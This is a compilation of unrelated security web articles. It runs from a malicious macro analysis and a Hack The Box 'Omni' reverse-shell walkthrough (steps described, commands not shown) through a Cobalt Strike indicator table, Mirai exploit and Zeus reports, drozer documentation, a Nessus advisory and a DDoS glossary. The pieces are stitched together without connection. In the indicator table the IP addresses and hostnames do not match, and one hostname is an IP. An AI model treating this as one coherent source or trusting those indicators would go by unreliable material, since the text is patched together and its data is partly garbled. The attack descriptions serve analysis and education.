The next best approach to extracting information from any sample is to always look at the sample’s metadata. Metadata can provide you with tons of information related to a particular file, and attackers mostly hide their payload in the metadata as it is not visible to the user when he/she views the document or any file. You have to use some sort of tool to view the metadata part.
Doing an ExifTool on our malicious sample presented us with the details about the document. This information can be beneficial as it can help you connect the dots. But it doesn’t always have to be true. Some attackers purposefully change the information just to throw you off your analysis.
In my case, I was lucky enough to see that the attacker had hidden the giant blob of obfuscated code in the metadata of a file in the Comments section.
This is where the main macro will be pulling out a few other data from the comments section. Let’s save the metadata to a text file
doc_comments.txt and we will remove everything that is not a code. Refer to the image below:
It is time where we play with the macro a little bit but take caution as you don’t want to enable the macro and infect your machine accidentally. In that case, simply revert your machine to the last saved snapshot.
Now let’s open up our malicious document file, and we will edit the macros. Navigate to the VIEW tab -> Macros -> View Macros and edit the AutoOpen macro. This will open up a Visual Basic window showing the contents of a macro.
On this window, after opening up an Immediate window and overwriting the
debug.Print, the edited text becomes
Debug.Print tells the VBA to print that information in the Immediate window. This can be useful when we want to see the value of a variable in a particular line of our code without having to store the variable somewhere in the workbook or show it in a message box. It is especially useful when you are writing or debugging code.
After saving the macro and enabling the content, I was presented with the obfuscated code in the Immediate window. Copy the whole code and save it as
We are almost there to fully decode the obfuscated macro. From the image above, we can see that it is trying to launch Powershell and doing something. But we don’t know what it is trying to achieve as the code is still obfuscated. But what we know is that code is Base64 encoded which we will have to decode to see what’s behind that encoded code.
So open up the text file where you saved the code earlier and remove the text “
If we open and check the
decoded_powershell.txt file we can see that the code is still obfuscated and has many numbers from where the data will be pulled out and finally joined as a string to make up a whole new string.
For de-obfuscating this part of the code, what we can do is follow a little trick. We have to identify a first open bracket by highlighting the last closing bracket, and once identified, remove everything before the first bracket and type
With write-host, it does not output data to the PowerShell Object flow engine to execute the code instead, it writes everything to the host as we can see the output in the image below.
Soon after passing the entire code into the PowerShell and hitting enter, we now have our complete decoded macro. Frankly speaking, It was really good to see the deobfuscated code. But still, we need further enhancements to make it more readable as it still looks gibberish.
Finally, after doing some enhancements, the macro looks more readable and we can now quickly figure out what’s happening by just looking at the code.
Here in the image above, the attacker has set a variable $wscript that will create a new instance of WScript.Shell. The WScript.Shell class provides several valuable utilities that greatly extend the range of tasks performed using Windows PowerShell and COM, such as running applications, sending keystrokes to running applications, changing the current working directory, and displaying popup message dialogs.
Next, the new instance of
System.Net.WebClient class is set in a
$webclient variable which provides common methods for sending data to and receiving data from a resource identified by a URI. And the attacker has set three different URLs from where the additional binaries would be downloaded and saved in the temp folder with a random name, and finally it will start executing it from there. |
New to Hack the Box then you must check out this HackTheBox Get Invite Code in 5 mins Walkthrough
Omni is an Windows IoT Core machine that is retired on Hack The Box. It covers exploiting vulnerable Sirep Test Service in the IoT Core OS, remote code execution and receiving reverse shell on the target host, finding credential file by enumerating the file system, and eventually getting the user and root flags.
We first run nmap to enumerate open ports and services running on those ports, and the following results showing that 2 ports are open.
-sC: default nmap scripts
-sV: detect service version
Add the domain in the /etc/hosts file.
We start off with enumerating HTTP first.
An authentication pop-up. It asks for credentials from us to continue.
We do not have any credentials. What is Windows Device Portal? Let’s google it.
The web page provides us some information. So, we understand that it is related to Windows 10 IoT Core.
The web page also shows, that port 8080, means that dev mode is enabled from default.https://docs.microsoft.com/en-us/windows/uwp/debug-test-perf/device-portal
Note the default credentials.
The default credentials are not working.
We search for exploits related to Windows IoT Core.
SirepRAT is a tool that allows us exploiting Windows IoT Core target. What it simple does is, to dump the SAM and copy the SYSTEM registry files.
Clone the repository.
We install required modules in order to exploit can work properly.
Firstly let’s see how it does work by typing “–help”
These are the available commands we can use.
Here is the plan. We will establish a reverse shell by using powershell. To do so, we will first upload netcat to the target machine. Then, we will run netcat reverse shell command by using SirepRAT and if everything goes well it will send us a connection request while we are waiting for it on listening mode.
We have netcat which is 64 bits. (Netcat 32 bits did not work at the first attempt.)
Start up a simple python server in the directory netcat is in.
This command will upload nc64.exe file to the directory which is specified below.
Set up a listener to receive the reverse shell.
We run the command to receive reverse shell.
Perfect! We get a shell.
Who are we on this Windows machine? #whoami
Let’s check the root.txt file.
Here we try to apply decrypt process on both root.txt and user.txt but we failed because user omni has a low level privilege.
We start enumerating the directories one by one to get some interesting information.
Well, a bat file might be interesting for us. Let’s check it inside.
Cool! We get the credentials. Let’s use them one by one at the web application (omni.htb:8080).
First, we log in as user app.
And we have command prompt to run command. What is the next step now? Yes! Let’s try to receive reverse shell.
We set up a listener on port 6767.
Run the command.
And we have another shell as user app.
We are user app. That means we might be able to decrypt the encrypted content in user.txt file. To do so, we execute the following commands.
We successfully get the decrypted version of user.txt flag.
We need to privilege escalation again in order to view the root.txt flag. But wait a sec! What if we as app user can decrypt the encrypted content in root.txt file? Let’s just give a try.
We could not decrypt the root.txt file. Well, we need to be administrator user. To do so, we will use the other credentials that we got from r.bat file.
We apply the same process that we have just done before.
Setting a listener to receive reverse shell.
Same command on web application command prompt. Just remember! We are now logged in as administrator user.
And here we are as administrator.
We apply the same decryption process for the root.txt file.
We successfully view the decrypted version of root.txt file after execute the following command.
Thank you for you time. |
Posted on November 20, 2020 by John Limb
In the past few weeks, we have seen a significant increase in malicious attacks by bad actors using Cobalt Strike. Cobalt Strike is a legitimate tool used to give penetration testers access to many different attack capabilities. The issue lies when this toolkit gets into the wrong hands. Predominantly we have been seeing Cobalt Strike deploy an agent named “Beacon” for post-exploitation. Deploying this successfully can lead to a Ryuk Ransomware attack.
This week, BraintraceLABS is reporting Cobalt Strike as the most seen malware. Cobalt Strike enters the network in various ways, including via malware like BazarLoader. Malware can be installed with different tricks. The most common way is when the victim is tricked into clicking on a phishing campaign and downloads a file, which can be Word or Excel file. Then the user is tricked into enabling a macro. Once the macro is enabled, the malware will get into the network.
According to Microsoft, Cobalt Strike is being deployed through online ads claiming to be a Microsoft Teams update. The bad actor tricks the victim into clicking on a fake online ad. These advertisements will send the victim to an online domain under the control of the bad actor. When the victim clicks on the link, a download will begin. Instead of receiving the update, the user will download the payload, which can contain Cobalt Strike.
Dragonfly Encrypted Payload Analytics (EPA) prediction model identifies Cobalt Strike Beacon communications.
Braintrace’s Dragonfly is reporting the below C2 indicators of compromise for Cobalt Strike.
|IP ADDRESS||WEB HOSTNAME||COUNTRY||AS LABEL||AS NUMBER|
|22.214.171.124||31[.]44[.]184[.]131||Russia||Petersburg Internet Network ltd.||44,050|
|126.96.36.199||livenx[.]com||United States||Leaseweb USA, Inc.||396,362|
|188.8.131.52||stylesam[.]com||United States||Leaseweb USA, Inc.||30,633|
|184.108.40.206||epicnut[.]com||United States||Leaseweb USA, Inc.||7,203|
|220.127.116.11||sslcar[.]com||United States||Leaseweb USA, Inc.||19,148|
|18.104.22.168||beltpost[.]com||United States||TeraSwitch Networks Inc.||20,326|
|22.214.171.124||idrivehelper[.]com||Switzerland||Private Layer INC||51,852|
REACH OUT TO US
If you have any questions or concerns about Trickbot and Ryuk. Please feel free to contact us at [email protected]. |
Software developers today are cautious to not include bugs in their code for security. The reason being that these bugs end up being the center of vulnerabilities that can compromise a program, computer, or network. These vulnerabilities are the foundation of exploits malicious actors create. Creation of these exploits allow for the exploit developer to move further down the cyber-kill chain, keeping their access until the vulnerabilities are patched out. This process of exploitation functions in a loop: the attacker finds a bug in a codebase, the attacker exploits the bug, the software developer finds the point in the codebase they are exploiting, the developer patches out the vulnerability, and the attacker starts looking for new vulnerabilities.
The goal of this research is to deter vulnerability weaponization as a means for greater security. Normally, this means introducing patches for known bugs. However, this project aims to create fake, non-exploitable, bugs that appear as real vulnerabilities, and then introducing them into a codebase for greater security. This practice is a means of wasting the exploit authors resources during reconnaissance and weaponization phases of the cyber kill chain. These bugs functions as a deterrent, hiding any real vulnerable code with fake vulnerabilities. This creates a needle in the haystack problem for an exploit author, decreasing time to develop an exploit and increasing time for software developers to create patches for the real vulnerabilities, further increasing security. It also deters exploit authors looking for a quick way to break a program for their own benefit.
This is a metadata-only record.
Computer Science & Information Systems
- Event location
- Event date
25 March 2022
- Date submitted
20 July 2022
- Additional information |
The Mirai malware made news in 2016 when it brought the internet down to its knees after attacking Dyn, a domain service provider. Ever since then, the malware has proliferated into several variants and those variants have then branched into more variants. Now, Palo Alto Networks Unit 42, having been tracking the botnet since 2016, have found a new variant equipped with 8 exploits.
The new variant targets IoT devices that are gaining in popularity like SD-WANs, wireless presentation systems, and smart home controllers. The researchers explain that the number of exploits allows a single botnet to compromise a range of devices, thereby increasing the effectiveness of the botnet. Many of these exploits are being farmed from public databases, most notable exploit-db, according to the researchers.
Below is a list of the exploits that the news variant employs.
A security researcher noticed command injection vulnerabilities in WePresent devices. Those vulnerabilities where then haphazardly patched. The problem is that a majority of WePresent devices run on software older versions that have not been patched. These devices are used in over a hundred universities in North America, and this exploit targets every single version out there.
With this vulnerability, compromised servers can be remotely accessed with a bug that allows one to gain remote access.
VMWare contains a web UI component that, if enabled, is vulnerable to remote command injection.
The U.motion Builder software that contains this remote code execution vulnerability has recently been retired. Now, it’s up to devices that use the software to move on.
Asustor’s ADM firmware 3.1.0 does not sanitize user input when making a call to a local shell script. According to the doc, “exploitation of this vulnerability allows an attacker execution of arbitrary commands on the host operating system, as the root user, remotely and unauthenticated.”
- Dell KACE Remote Code Execution
This vulnerability was discovered by Julien Ahrens in 2018’s H1-3120 event. Dell quietly patched the vulnerability, but since vulnerabilities don’t often patch themselves on older versions, there may be machines that are still at risk.
This exploit turns Geutebruck security cameras into a potential botnet. Hackers can exploit “an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows anonymous user to execute arbitrary commands with root privileges.”
This exploit takes advantage of a vulnerability in a HooToo wireless travel router(which sounds like a bad idea from the get-go security-wise). The malicious code “tries to open a door in the device by exploiting the RemoteCodeExecution by creating a backdoor inside the device.”
Unit 42 concludes that the trend towards a multiplicity of exploits within a single variant will increase the strength of DDoS attacks. |
~Finding more Information~
After you or your tools find suspected vulnerabilities, there are various wireless security vulnerability resources you can utilise to help find out more information on the issues you find. A good place to start is your wireless vendor’s Web site. Look in the Support or Knowledge base section of the Web site for known problems and available security patches. You can also peruse the following vulnerability databases for in-depth details on random vulnerabilities, how they can be exploited, and possible fixes:
1 US-CERT Vulnerability Notes Database
2 NIST ICAT Metabase
3 Common Vulnerabilities and Exposures
Another good way to get more information on specific security issues is to do a Google groups search. Here you can often find other message boards, and newsgroups where randoms like myself have posted problems an/or solutions about your particular issue\problem. |
The Lapsus$ hacking group is abusing stolen NVIDIA code signing certificates to inadvertently sign malware on vulnerable Windows deployments. This week, NVIDIA confirmed that it suffered a cyberattack that allowed threat actors to access sensitive information of its employees.
The hackers, allegedly operating from Latin America, claim to have stolen files equivalent to 1 TB during the incident, beginning to leak them on illegal forums on the dark web after NVIDIA refused to pay a ransom. The leak includes two stolen code signing certificates used by NVIDIA developers to sign their drivers and executables.
These certificates allow developers to digitally sign executables and drivers so that the Windows system can verify ownership of the file and whether a third party has manipulated the payload. To increase system security, Microsoft also requires kernel-mode drivers to be signed with code before they are loaded into the operating system.
Shortly after the attack was confirmed, cybersecurity specialists began detecting that the certificates were being used to sign malware and other hacking tools used by cybercriminals. Samples uploaded to VirusTotal indicate that the stolen certificates were used to sign various malicious programs, including Cobalt Strike beacons, Mimikatz, backdoors, and remote access Trojans (RAT).
Stolen certificates use the following serial numbers:
Some of the files were probably uploaded to VirusTotal by security researchers, but others appear to be used by threat actors for malware campaigns. Although the stolen certificates are expired, Windows still allows them to be uploaded to the operating system, giving threat actors the advantage of making their malicious payloads look like legitimate NVIDIA content, so the security threat is still active.
Administrators of Windows systems with NVIDIA components are encouraged to configure Windows Defender application control policies to determine which NVIDIA drivers can be loaded into the system and prevent malware from entering.
To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.
He is a cyber security and malware researcher. He studied Computer Science and started working as a cyber security analyst in 2006. He is actively working as an cyber security investigator. He also worked for different security companies. His everyday job includes researching about new cyber security incidents. Also he has deep level of knowledge in enterprise security implementation. |
RAT detection: How to avoid RATs abuse in your financial services business
Explore the growing threat of remote access tools (RATs), understand the risks, and learn crucial insights into preventing remote access abuse.
Michał PawlikVP of BD CEE
28 November 2023
7 min read
Remote Access Tools have a practical and effective use. We are all familiar with Anydesk, Teamviewer, and other similar solutions, and most likely, we have used these tools at least once. They help technical experts fix and address problems via remote access when over the phone instructions are inefficient. Yet, in the wrong hands, RATs can become a double-edged sword. Fraudsters know that most people are familiar with remote control systems and the types of companies that use them, so they exploit it to their advantage.
Before we move any further, it's worth noting the difference between remote access tools and remote access trojans, which both unfortunately have the RAT acronym.
Remote access tools are legitimate applications for gaining remote access, often requiring the user's consent or some action to grant access.
Remote access trojans are viruses designed to achieve the same effect without the user's permission. This malicious software is often disguised as something else, hidden in emails or websites.
For this particular article, we are talking about remote access tools. This is because these tools represent a very different risk. They require user behavior to work, whereas trojans must fight your firewall and other malware detection systems.
Remote access tools are used by fraudsters in social engineering schemes, often by phishing or otherwise representing a legitimate company or individual. Let's go through some of the more common approaches.
First, let's imagine a fraudster impersonating a bank's customer service or any other financial service that deals with sensitive data and accounts. This is achieved through various means:
In any case, the goal is to encourage the user to install the remote access tool and grant access. Once in, the fraudster has access to the machine or device and anything stored there. In short, whatever that user can access, so can the fraudster. At a glance, this can include access to financial accounts, passwords, and other accounts, as well as any wider networks that the fraudster can now access, assuming the user identities of their victims. In the worst cases, an infected computer also has log files and other data that can be used in more fraudulent activities.
Here are a few specific scenarios in financial services:
There's a reason the above scenarios don't trigger any suspicious behavior alerts in your typical defenses. Because they require the user to install genuine software, and then permit access, there is no immediate data or security breach. They avoid many standard antifraud or intrusion detection systems, especially those related to device fingerprinting. Since the user's account is legitimate, device fingerprinting is completely circumvented.
Even when detection is possible, fraudsters are clever enough to use a proxy server, VPN, or similar means to protect their IP addresses and remain hidden as much as possible.
With legislation regarding cybersecurity becoming increasingly more complex, it's arguably only a matter of time before businesses are required to implement an advanced intrusion detection environment that can detect RAT abuse.
For example, PSD2 doesn't cover such cases, but the updates on PSD3 standards will cover suspicious behavior and advanced behavioral analysis of user activity. Much of this puts a great deal of emphasis on banks and other payment providers. As RAT manipulation, social engineering, phishing, and other scams grow in frequency, it's only natural that compliance standards will increase to match.
So it’s not about detecting RATs, but rather detecting RATs abuse. Remote control solutions leave traces of their activity behind, typically in the form of low-level network data. However, understanding when remote access has been granted doesn't help if you don't further understand the situation.
How do we distinguish suspicious behavior from genuine use? The anomalies caused by RAT software provide the first signals we can further analyze with advanced algorithms. Specifically, we monitor user behavior and assess whether the current activity matches what should be expected. These factors combined provide a high precision rate in detecting the use of RATs. What's more, it lets us know if RATs are being actively used on a target computer or installed but inactive.
From here, we can detect additional user behavior. The suspicious activity would be flagged if the user is making transactions or is engaged in other banking-related activities whilst on a video call or screen-sharing platform.
Therefore, detecting RAT abuse without disrupting a genuine session takes precise analysis. We’ve been supporting financial services companies for quite some time by detecting this risk signal with outstanding performance on both websites, mobile apps, and mobile websites.
We've performed perfect detection of active AnyDesk sessions for one of our valued clients, Kanga Exchange, using only the user’s IP address. If you want to learn how we can detect RATs abuse on your websites and mobile apps with the highest precision, contact us, and we’ll show you how. |
drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps’ IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (MWR’s advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).
drozer is open source software, maintained by MWR InfoSecurity
drozer is designed to allow new functionality to be added through stand-alone modules. If you want to build new checks, exploits or tools you should start with a module. If what you want to do is simply not possible through the module interface, you may need to extend the core.
The source code for drozer is distributed in a number of GitHub projects. Projects that you would encounter when developing for the assessment side of drozer are the following:
drozer is a distributed system. It has two key components:
Since Version 2.0, drozer supports Infrastructure Mode, in which the Agent establishes a connection outwards to traverse firewalls and NAT. This allows more realistic attack scenarios to be created. This mode requires a Server:
These components use the drozer Protocol to exchange data.
The drozer Agent is designed to represent an arbitrary, unprivileged application running on the Android device and, as such, only requests a single permission: the INTERNET permission. This permission is required because the agent needs to open socket connections to interact with the console or server.
drozer tries to avoid dependencies on external tools, such as ADB and AAPT, because these will only work with the device connected via USB.
drozer functionality should be implemented as modules, that make use of the reflection and class loading functionality of the agent to execute their tests. This allows the system to be extended, without requiring the Agent to be updated too frequently.
drozer helps to reduce the time taken for Android security assessments by automating the tedious and time-consuming.
drozer runs both in Android emulators and on real devices. It does not require USB debugging or other development features to be enabled; so you can perform assessments on devices in their production state to get better results.
drozer can be easily extended with additional modules to find, test and exploit other weaknesses; this, combined with scripting possibilities, helps you to automate regression testing for security issues.
drozer provides point-and-go implementations of many public Android exploits. You can use these to identify vulnerable devices in your organisation, and to understand the risk that these pose.
yaourt -S drozer
git clone https://github.com/mwrlabs/drozer/ cd drozer python setup.py build python setup.py install
Drozer can be installed using Android Debug Bridge (adb).
$ adb install drozer.apk
You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you’re ready to start exploring.
We will use the server embedded in the drozer Agent to do this.
If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the “Embedded Server” option and tap “Enable” to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
$ drozer console connect
If using a real device, the IP address of the device on the network must be specified:
$ drozer console connect --server 192.168.0.10
You should be presented with a drozer command prompt:
selecting f75640f67144d9a3 (unknown sdk 4.1.1) dz>
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
You are now ready to start exploring the device.
|run||Executes a drozer module|
|list||Show a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.|
|shell||Start an interactive Linux shell on the device, in the context of the Agent process.|
|cd||Mounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.|
|clean||Remove temporary files stored by drozer on the Android device.|
|contributors||Displays a list of people who have contributed to the drozer framework and modules in use on your system.|
|echo||Print text to the console.|
|exit||Terminate the drozer session.|
|help||Display help about a particular command or module.|
|load||Load a file containing drozer commands, and execute them in sequence.|
|module||Find and install additional drozer modules from the Internet.|
|permissions||Display a list of the permissions granted to the drozer Agent.|
|set||Store a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.|
|unset||Remove a named variable that drozer passes to any Linux shells that it spawns.|
drozer is available as both open source software,
and a full-featured professional version |
This script is Copyright (C) 2010-2014 Tenable Network Security, Inc.
The remote Gentoo host is missing one or more security-related
The remote host is affected by the vulnerability described in GLSA-201006-21
(UnrealIRCd: Multiple vulnerabilities)
Multiple vulnerabilities have been reported in UnrealIRCd:
The vendor reported a buffer overflow in the user authorization
The vendor reported that the distributed source code of UnrealIRCd
was compromised and altered to include a system() call that could be
called with arbitrary user input (CVE-2010-2075).
A remote attacker could exploit these vulnerabilities to cause the
execution of arbitrary commands with the privileges of the user running
UnrealIRCd, or a Denial of Service condition. NOTE: By default
UnrealIRCd on Gentoo is run with the privileges of the 'unrealircd'
There is no known workaround at this time.
See also :
All UnrealIRCd users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose '>=net-irc/unrealircd-220.127.116.11-r1'
Risk factor :
High / CVSS Base Score : 7.5
Public Exploit Available : true |
A recent NATO exercise in Estonia shed light on how the alliance sees cyber warfare at the operational and tactical levels.
This year’s North Atlantic Treaty Organisation (NATO) Cyber Coalition exercise concluded on 2nd December. Taking place in Tallinn, Estonia, the week-long initiative involved 1,000 cyber defenders from 26 alliance members, according to a NATO press release. Future NATO members Finland and Sweden also sent participants. They were joined by colleagues from Georgia, the European Union, Ireland, Japan, the Republic of Korea and Switzerland. Cyber Coalition 2022 explored “emerging and disruptive technologies, in support of military operators and commanders,” the press release continued.
Cyber Coalition 2022
This year’s event focused on a strategic-level exercise involving a fictious region called Icebergen in the north Atlantic. One regional fictious nation with a largely hostile posture towards the alliance performed cyberattacks on a neighbouring NATO member. Attacks were made against the friendly nation’s Critical National Infrastructure (CNI). Despite the exercise’s strategic aspect Cyber Coalition 2022 gave some valuable insight on NATO’s operational and tactical level cyberspace posture.
The close alignment of cyber effects with electronic warfare at the operational and tactical levels has triggered the emergence of CEMA (Cyber and Electromagnetic Activities) doctrines around the alliance. In 2014, the US Army published its FM 3-38 Cyber Electromagnetic Activities field manual. This was followed in 2018 by the UK’s Joint Doctrine Note 1/18 Cyber and Electromagnetic Activities text.
The US Army document defines CEMA activities as seizing, retaining and exploiting “an advantage over adversaries and enemies in both cyberspace and the electromagnetic spectrum, while simultaneously denying and degrading adversary and enemy use of the same and protecting the mission command system.” The UK Ministry of Defence publication envisages CEMA as the “synchronisation and coordination of cyber and electromagnetic activities, delivering operational advantage thereby enabling freedom of movement, and effects, whilst simultaneously, denying and degrading adversaries’ use of the electromagnetic environment and cyberspace.” In both cases, cyber and electromagnetic effects are delivered on the high seas, and on and above the battlefield, to support missions and manoeuvre.
Electronic attack is an ideal vector for cyberattack. Conventional electronic attack harnesses jamming to degrade, disrupt and destroy hostile radars, radios and communications networks. As electronic attack beams jamming into these systems via their antennas, this approach can help deliver malicious code. The code will then infect these systems and networks. Alternatively, networks hosting these systems can be conduits for malicious code into hostile battle management, and Command and Control (C2) systems.
Harnessing the Effects
These doctrines are making NATO think about how it harnesses cyber effects in the future. A senior air force officer from a NATO nation working in the alliance’s cyber defence domain told Armada how this process is unfolding. The Estonian Ministry of Defence’s CY-14 cyber range, where this year’s exercise occurred, can simulate cyber effects on operational/tactical-level battle management and C2 networks. This is useful for drafting tactics which might be used by the alliance in the future.
Work done on cyber defence at the strategic level is filtering into operational and tactical levels, said the officer. NATO also has an operational/tactical level cyber defence remit. “Cyber defence is about protecting your networks at every level, even down to individual systems used in armoured vehicles.” Cyber warriors work hard to “prevent cyber attacks across all networks used by militaries,” said the officer.
Beyond these defensive tasks, the officer and his colleagues have a doctrinal responsibility: “We need to put cyber warfare into a language that a senior commander can comprehend. We need to explain to them what effects a particular cyber event could have on operational and/or tactical aspects at that moment.” The officer said that, although NATO has a standalone cyber doctrine, work needs to be done on the “integration of cyber effects into joint warfighting … We also need to see what cyber effects can go into standard land, sea and air doctrines.” Further work in these areas will be forthcoming. For example, NATO is already working on a messaging format for cyber operations. This is examined in our Sending a Clear Message article.
by Dr. Thomas Withington |
*Zeus* is a Trojan Horse Virus, one of the worst on the Internet. During the past four years it has infected millions of computers around the world taking control and stealing banking details. Who is the person responsible? No one knows, but, it is believed that he or she is Russian.
A battle has been fought between Zeus and Microsoft, and while it is one of the most difficult types of Malware to actually detect, the worry now is not home computers. A new strain of Zeus has been dubbed *Zitmo* – which stands for Zeus in the mobile. This malware has started to exploit a hole in personal banking security – the Smartphone you carry with you.
Just in the past fortnight this new version of Zeus has been attacking mobile phones that use the Android Operating System. This is naturally causing intense concern amongst security companies. Trusteer a major Internet Security Provider has claimed that Google Android is a *fraudsters Heaven* – *Fraudsters now have all the tools they need to effectively turn mobile malware into the biggest customer security problem we’ve ever seen* Chief executive Mickey Boodaei said recently in a blog.
However it’s not just Zeus that customers with smart phones should be worrying about. MWR InfoSecurity in Britain legally hacks into computers to test their security, and recently it has turned its attention to smart phones and they have found that it can crack open any new handset it sees.
*You cannot be assured of security with modern smart phones. As soon as the handset is compromised, then any data is up for grabs.* said Alex Fidgen of MWR InfoSecurity. *The mobile phone industry is not fit for purpose, especially for financial transactions*
The fault seems to lie more with the makers of the handsets rather than with the banks or network providers. In the race to bring new phones with more features into the market many have left security features low on the agenda. Many modern smart phones when used in public Wi-Fi hotspots can become fatally compromised. There are many ways for a Trojan to enter a smart phone, from simply clicking on a link or attachment that contains a virus, within seconds it has secretly gained control.
That link could be a vCard – the standard format for sending a business card to a phone, accessing a website in a café, or it could be a TinyURL in Twitter. Known as *Evil Twins* fraudsters create bogus gateways at Wi-Fi hotspots, to which the latest mobile phones will connect to. Once that connection is made all the information travelling through that gateway can be decrypted or read directly – this allows fraudsters to access messages, passwords and user names.
While attacks have been rare, experts predict it is only because smart phones are still taking off. Over at Trusteer, Mickey Boodaei predicts that in 12 to 24 months time more than one in twenty Ipads, Iphones and Android Phones could become infected by mobile malware.
So, which is safer?? Apple Iphones or the Android based system??? MWR InfoSecurity says that Apples security from viruses doesn’t extend to their mobile devices. *Both platforms have problems. The Android market has quite a reputation for serving malware regularly, whereas Apple seems to be in better control of the content of the App Store. Android, however, has Sandbox [a security feature], which limits the impact of malicious or vulnerable applications. This can help limit the effectiveness of the malware, a feature that does not exist on the Apple platform.*
Blackberry phones have been considered much safer to use, due mostly to the fact that their makers RIM keeps the details of their platform secret which is making it harder to attackers to write malware.
All the experts are in agreement when it comes to *Jail breaking* – the process by which the limitations placed on the Iphone and Ipad devices by Apple are removed this leads to much wider security threats.
The simple question is – why not add an anti-virus software/programme to your smart phone? The answer is quite simply that many of the phones have been so badly built in the first place that any antivirus programmes just wouldn’t be much help.
Reported recently in InformationWeek – a respected US Technology magazine – was a warning that a new approach by Zeus/Zitmo tricks home PC users into downloading it onto their Smartphone. The Trojan simply sleeps on the Home PC till the user logs into their bank website. It wakes up, and asks the user to download a new security device onto their mobile phone to complete the bank login procedure. In reality it is the Zeus Trojan taking control and now infecting the user’s phone.
At the center of Zeus is the Russian developer who writes the source code and is selling the programme to those in the criminal underworld. He sends out patches and updates so every time Zeus is detected it bounces back again.
In 2007 Don Jackson who works for SecureWorks was the person who first discovered it.*Zitmo has all the hallmarks of the original author of Zeus. This brand new version is his flagship new product, which he’s making available to a select few. He writes it, sells it for huge amounts of money, and even supports his ‘customers’ to rid it of any bugs that develop GUARDIAN*
Over and out |
When it comes to distributed denial of service (DDoS) attacks, the various terms and acronyms can be quite confusing. Prolexic explains all in this glossary of terms. To learn even more, follow the links to other Prolexic resources.
Amplification is when an attacker makes a request that generates a larger response. Examples of common amplification attacks include DNS requests for large TXT records and HTTP GET requests for large image files. Learn more about amplification attacks in the SNMP Amplification (SAD) Threat Advisory.
Application DDoS Attack
An application-level attack is a DDoS attack that overloads an application server, such as by making excessive login, database lookup or search requests. Application attacks are harder to detect than other kinds of DDoS attacks, because the connection has already been established and the requests may appear to be from legitimate users. However, once identified, these attacks can be stopped and traced back a specific source more easily than other types of DDoS attacks. Learn how Prolexic Application-based Monitoring (PLXabm) detects application DDoS attacks.
Application monitoring is the practice of monitoring software applications using a dedicated set of algorithms, technologies and approaches to detect zero-day and application layer (Layer 7 attacks). This monitoring approach is different and goes beyond the capabilities of hybrid monitoring systems, such as web application firewalls. Learn more about application monitoring.
An APT refers to a sustained, Internet-enabled form of cyber espionage led by a powerful entity, such as a government, with the intent to gain access to a specific target, such as a political resistance group or another government. APTs often employ DDoS attacks.
An Autonomous System (AS) is a network or group of networks that has a single and clearly defined external routing policy. A public AS has a globally unique number associated with it (ASN). This ASN (Autonomous System Number) is used both in the exchange of external routing information (between neighboring autonomous systems) and as an identifier of the AS itself. Every IP address that is publicly routed belongs to an ASN. Learn more about autonomous system numbers (ASN) in this attack report.
A DDoS attack signature is a block of code unique to a specific DDoS attack. Knowing the attack signature allows a DDoS protection specialist to identify and block the DDoS attack. A hacker may randomize a portion of the attack signature in an attempt to fool security experts, but other parts of the attack signature will stay the same. See an example of an attack signature in the Pandora DDoS Threat Advisory.
The Border Gateway Protocol (BGP) is used to make core routing decisions on the Internet and is the protocol used by organizations to exchange routing information. Prolexic uses BGP to enable organizations to redirect network traffic through its scrubbing centers.
Booter shell scripts are customizable scripts that randomize attack signatures and make attacks more difficult to differentiate from legitimate traffic. These are standalone files that execute GET/POST floods when accessed via HTTP. With booter shells, DDoS attacks can be launched more readily and can cause more damage, with far fewer machines. The skill level required to take over a web server and convert it to a bot is greatly reduced when using a booter shell. A DDoS booter shell script can be easily deployed by anyone who purchases hosted server resources or makes use of simple web application vulnerabilities such as RFI, LFI, SQLi and WebDAV exploits. Learn more in the Booter Shell Script Threat Advisory.
A bot is a computer that is under control of a third party. Learn more about bots.
A botnet is a network of bots that can be commanded as a single group entity by a command and control system. Botnets receive instructions from command and control systems to launch DDoS attacks. Learn more about botnets.
A botnet takedown is the process of identifying bots and then working with law enforcement and security experts to measure inbound and outbound traffic to and from the bots. The goal is to trace the traffic to find the location of the command and control server that controls the botnet. When the command and control server is brought down the botnet can no longer be used in a DDoS attack. Learn more about how to take down a botnet.
A botnet takeover occurs when one hacker tries to take over another hacker’s command and control server. The intent of the rogue hacker is to subvert the control of the command and control server from its original owner by changing the passwords and locking down the server. Learn more about how to take over a botnet.
A web server infected with “itsoknoproblembro” scripts. Learn more about itsnoproblembro.
A popular underground PHP shell that can be used to execute commands, view files, and perform other system administrative tasks. C99 is often used to take control of web servers via web application vulnerabilities. Learn more about DDoS attack types in this DDoS attack report.
A certificate authority is a trusted third party which issues digital certificates and is the ultimate key-stone in building digital trust relationships.
Caching is the method in which a repetitive request for information is remembered in the server memory in order to serve up the same type of request faster. Modern systems employ extensive use of caching at almost every layer of application design. Web servers always try to cache repetitive static content from memory. Database servers also attempt to cache repetitive queries. Attackers exploit caching by making requests for items that would not likely be cached, forcing the applications to increase CPU and disk usage.
A certificate is an electronic document that contains information that can be used to answer trust questions between clients and servers and also provide the basis for secure communications. A common problem on the Internet for a client is trusting the identity of the server it is connecting to. To solve this problem, a server can present a client with a certificate, digitally “signed” by a third party that the client trusts. If the client does not trust the signing party, it can choose not to trust the server. Certificates can also be used by the server to trust clients or other servers. It is important to remember that the reason certificates exist at all is to establish trust and they depend upon a mutually trusted third party.
Command and Control
